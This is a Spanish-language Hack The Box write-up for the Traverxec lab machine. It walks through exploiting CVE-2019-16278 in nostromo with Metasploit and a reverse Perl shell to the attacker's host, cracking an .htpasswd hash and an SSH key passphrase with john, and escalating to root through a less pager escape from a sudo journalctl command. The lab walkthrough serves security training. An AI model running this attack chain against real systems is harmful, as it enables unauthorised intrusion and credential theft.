Traverxec
Hack The Box — Writeup
Traverxec
| IP: | 10.129.22.158 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 2 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). El puerto 22 fue descartado como vector inicial al requerir credenciales válidas, constituyendo el puerto 80 (HTTP) el único vector de ataque disponible.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-title: TRAVERXEC
|_http-server-header: nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Hallazgo: al identificar el servicio corriendo en el puerto 80 como nostromo nhttpd 1.9.6, se investigó si dicha versión contaba con vulnerabilidades públicas conocidas, identificándose la CVE-2019-16278: una vulnerabilidad crítica de salto de directorio (Directory Traversal) que afecta a nostromo hasta la versión 1.9.6, permitiendo a un atacante no autenticado lograr ejecución remota de código (RCE) mediante una petición HTTP especialmente manipulada.
Hipótesis: dado que el servicio identificado está vinculado a un CVE público, se procedió a investigar la existencia de un exploit disponible.
# Comando
searchsploit nostromo 1.9.6
# Output
nostromo 1.9.6 - Remote Code Execution multiple/remote/47837.py
Al confirmar la existencia de un exploit público, se procedió a ejecutar el ataque desde Metasploit.
msf exploit(multi/http/nostromo_code_exec) > show options
Module options (exploit/multi/http/nostromo_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.129.22.158 yes The target host(s)
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.163 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
msf exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.15.163:4444 -> 10.129.22.158:39000)
whoami
www-data
Tras obtener acceso al sistema, se estabilizó la sesión para mejorar la interactividad de la shell:
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Found bash at /usr/bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$
Se procedió a enumerar el usuario actual, su directorio de trabajo y sus permisos:
www-data@traverxec:/usr/bin$ whoami
www-data
www-data@traverxec:/usr/bin$ pwd
/usr/bin
www-data@traverxec:/usr/bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec:/usr/bin$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for www-data:
Observación: el usuario www-data no cuenta con permisos elevados y
sudo -l solicita contraseña, descartando esa vía. Se continuó con la
enumeración manual del sistema.
Al navegar por el sistema de archivos se identificó la existencia del
usuario david, aunque sin permisos para listar su directorio:
www-data@traverxec:/$ cd home
www-data@traverxec:/home$ ls
david
www-data@traverxec:/home$ cd david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied
Enumeración
Análisis de la configuración de nostromo
Dado que no se contaba con permisos para explorar el directorio de
david, se procedió a examinar el directorio de configuración del
servidor web nostromo en /var/nostromo:
www-data@traverxec:/$ cd var/nostromo/conf
www-data@traverxec:/var/nostromo/conf$ ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 2019 .
drwxr-xr-x 6 root root 4096 Oct 25 2019 ..
-rw-r--r-- 1 root bin 41 Oct 25 2019 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 2019 mimes
-rw-r--r-- 1 root bin 498 Oct 25 2019 nhttpd.conf
Se revisaron ambos archivos de interés:
cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin [email protected]
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
Hallazgo: la directiva homedirs_public public_www indica que
nostromo expone públicamente el subdirectorio public_www del home de
cada usuario bajo la ruta http://traverxec.htb/~usuario/. Dado que el
proceso del servidor corre como www-data, dicho directorio resulta
accesible también desde el sistema de archivos bajo ese mismo usuario.
cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Hallazgo: se obtuvo un hash de contraseña del usuario david en
formato MD5crypt (identificable por el prefijo $1$), utilizado
para la autenticación HTTP básica del servidor.
Crackeo del hash MD5crypt
Intento fallido — error al guardar el hash:
echo "$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/" >> david.hash
cat david.hash
/
Por qué no funcionó: en zsh, las comillas dobles permiten la
interpolación de variables. El carácter $ fue interpretado como inicio
de una variable, expandiendo $1 a un valor vacío y dejando únicamente
el / final en el archivo. Para preservar el hash de forma literal se
requieren comillas simples.
Solución: se editó el archivo con nano para insertar el hash
correctamente:
nano david.hash
# Contenido del archivo:
$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Intento fallido — wordlist en ruta incorrecta:
john --wordlist=/usr/share/wordlists/rockyou.txt david.hash
No password hashes loaded (see FAQ)
Por qué no funcionó: en BlackArch, rockyou.txt no se encuentra en
/usr/share/wordlists/ sino dentro del paquete seclists.
Resultado exitoso:
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt david.hash
Warning: detected hash type "md5crypt"
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Will run 12 OpenMP threads
Nowonly4me (?)
1g 0:00:00:28 DONE (2026-07-02 08:43)
Session completed
Resultado: la contraseña del hash es Nowonly4me, correspondiente a
la autenticación HTTP básica del servidor nostromo.
Acceso al directorio public_www de david
Apoyándose en el hallazgo de la directiva homedirs_public, se accedió
al directorio public_www de david desde el sistema de archivos:
ls -la /home/david/public_www/
total 16
drwxr-xr-x 3 david david 4096 Oct 25 2019 .
drwx--x--x 5 david david 4096 Oct 25 2019 ..
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area
ls -la /home/david/public_www/protected-file-area/
total 16
drwxr-xr-x 2 david david 4096 Oct 25 2019 .
drwxr-xr-x 3 david david 4096 Oct 25 2019 ..
-rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 2019 backup-ssh-identity-files.tgz
Hallazgo: se identificó un archivo comprimido denominado
backup-ssh-identity-files.tgz, cuyo nombre sugiere una copia de
respaldo de claves SSH del usuario david.
Extracción de la clave SSH
Se copió el archivo a /tmp y se extrajo su contenido:
cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
cd /tmp
tar -xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
Se obtuvo la clave privada RSA de david en estado cifrado:
cat /tmp/home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
[...]
-----END RSA PRIVATE KEY-----
La línea Proc-Type: 4,ENCRYPTED confirma que la clave requiere una
passphrase para ser utilizada.
Crackeo de la passphrase de la clave SSH
Intento fallido — passphrase incorrecta:
Se intentó conectar por SSH utilizando la contraseña obtenida del
.htpasswd (Nowonly4me) como passphrase de la clave:
ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
[email protected]'s password:
Permission denied, please try again.
Por qué no funcionó: la contraseña del .htpasswd corresponde a la
autenticación HTTP básica del servidor nostromo y no necesariamente
coincide con la passphrase de la clave SSH; son credenciales
independientes.
Solución: se convirtió la clave al formato requerido por John the Ripper y se procedió al crackeo:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
Warning: detected hash type "SSH"
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 12 OpenMP threads
hunter (id_rsa)
1g 0:00:00:01 DONE (2026-07-02 08:54)
Session completed
Resultado: la passphrase de la clave SSH es hunter.
Explotación
Acceso SSH como david
Con la passphrase obtenida, se accedió al sistema como david:
ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ whoami
david
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),109(netdev)
david@traverxec:~$ ls
bin public_www user.txt
david@traverxec:~$ cat user.txt
[flag de usuario]
Escalada de Privilegios
Enumeración de binarios SUID
find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
Observación: todos los binarios SUID identificados corresponden a utilidades estándar del sistema, sin ningún vector de explotación directo aplicable al contexto actual. Se descartó esta vía.
Identificación del directorio bin de david
Al examinar el contenido del home de david se identificó un directorio
bin no estándar:
david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls
server-stats.head server-stats.sh
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
Hallazgo: el script ejecuta /usr/bin/journalctl con sudo sin
solicitar contraseña. Consultando GTFOBins bajo la categoría sudo,
se confirmó que journalctl invoca un paginador (less) cuando la
salida supera el tamaño de la terminal, y que desde less es posible
escapar a una shell del sistema mediante !/bin/bash, heredando los
privilegios del proceso padre, en este caso root.
Intento fallido — modificación del script
Se intentó editar el script para eliminar el -n5 y el | /usr/bin/cat
que impiden la apertura del paginador. Sin embargo, al verificar los
permisos del archivo:
david@traverxec:~/bin$ lsattr server-stats.sh
----i---------e---- server-stats.sh
Por qué no funcionó: el atributo i (immutable) impide cualquier
modificación del archivo, incluso por parte del propietario. Únicamente
root puede remover este atributo mediante chattr -i. Se descartó la
edición directa.
Intento fallido — ejecución con argumentos distintos
Hipótesis: se intentó ejecutar journalctl directamente con sudo
sin el -n5 ni el | /usr/bin/cat para forzar la apertura del
paginador con una salida más extensa:
/usr/bin/sudo /usr/bin/journalctl -unostromo.service
[sudo] password for david:
sudo: 3 incorrect password attempts
Por qué no funcionó: la regla de sudoers está configurada para el
comando con los argumentos exactos -n5 -unostromo.service. Cualquier
variación en dichos argumentos hace que sudo lo trate como un comando
distinto y solicite contraseña, de la cual no se dispone.
Intento fallido — variable de entorno PAGER
Hipótesis: se intentó sobrescribir la variable de entorno PAGER
para que journalctl invocara /bin/bash como paginador:
PAGER=/bin/bash /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Por qué no funcionó: sudo limpia por defecto las variables de
entorno del usuario (env_reset) antes de ejecutar el comando,
impidiendo que PAGER se transfiera al proceso privilegiado.
Escalada exitosa — reducción del tamaño de terminal
El vector correcto consiste en forzar la apertura del paginador con los
argumentos exactos que permite sudoers, reduciendo el tamaño de la
terminal por debajo del número de líneas de salida para que less se
active obligatoriamente:
stty rows 5 cols 80
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Thu 2026-07-02 03:37:55 EDT, end at Thu 2026-07-02 05:18:00 EDT
Jul 02 04:10:38 traverxec sudo[991]: pam_unix(sudo:auth): authentication failure
Jul 02 04:43:16 traverxec sudo[1027]: pam_unix(sudo:auth): authentication failur
Jul 02 04:43:26 traverxec sudo[1027]: www-data : user NOT in sudoers ; TTY=pts/1
Jul 02 04:43:33 traverxec su[1028]: pam_unix(su:auth): authentication failure; l
Jul 02 04:43:35 traverxec su[1028]: FAILED SU (to david) www-data on pts/1
lines 3-6/6 (END)
El paginador less se activó. Desde dentro se ejecutó:
!/bin/bash
Resultado: se obtuvo una shell interactiva con privilegios de
root:
root@traverxec:/home/david/bin# whoami
root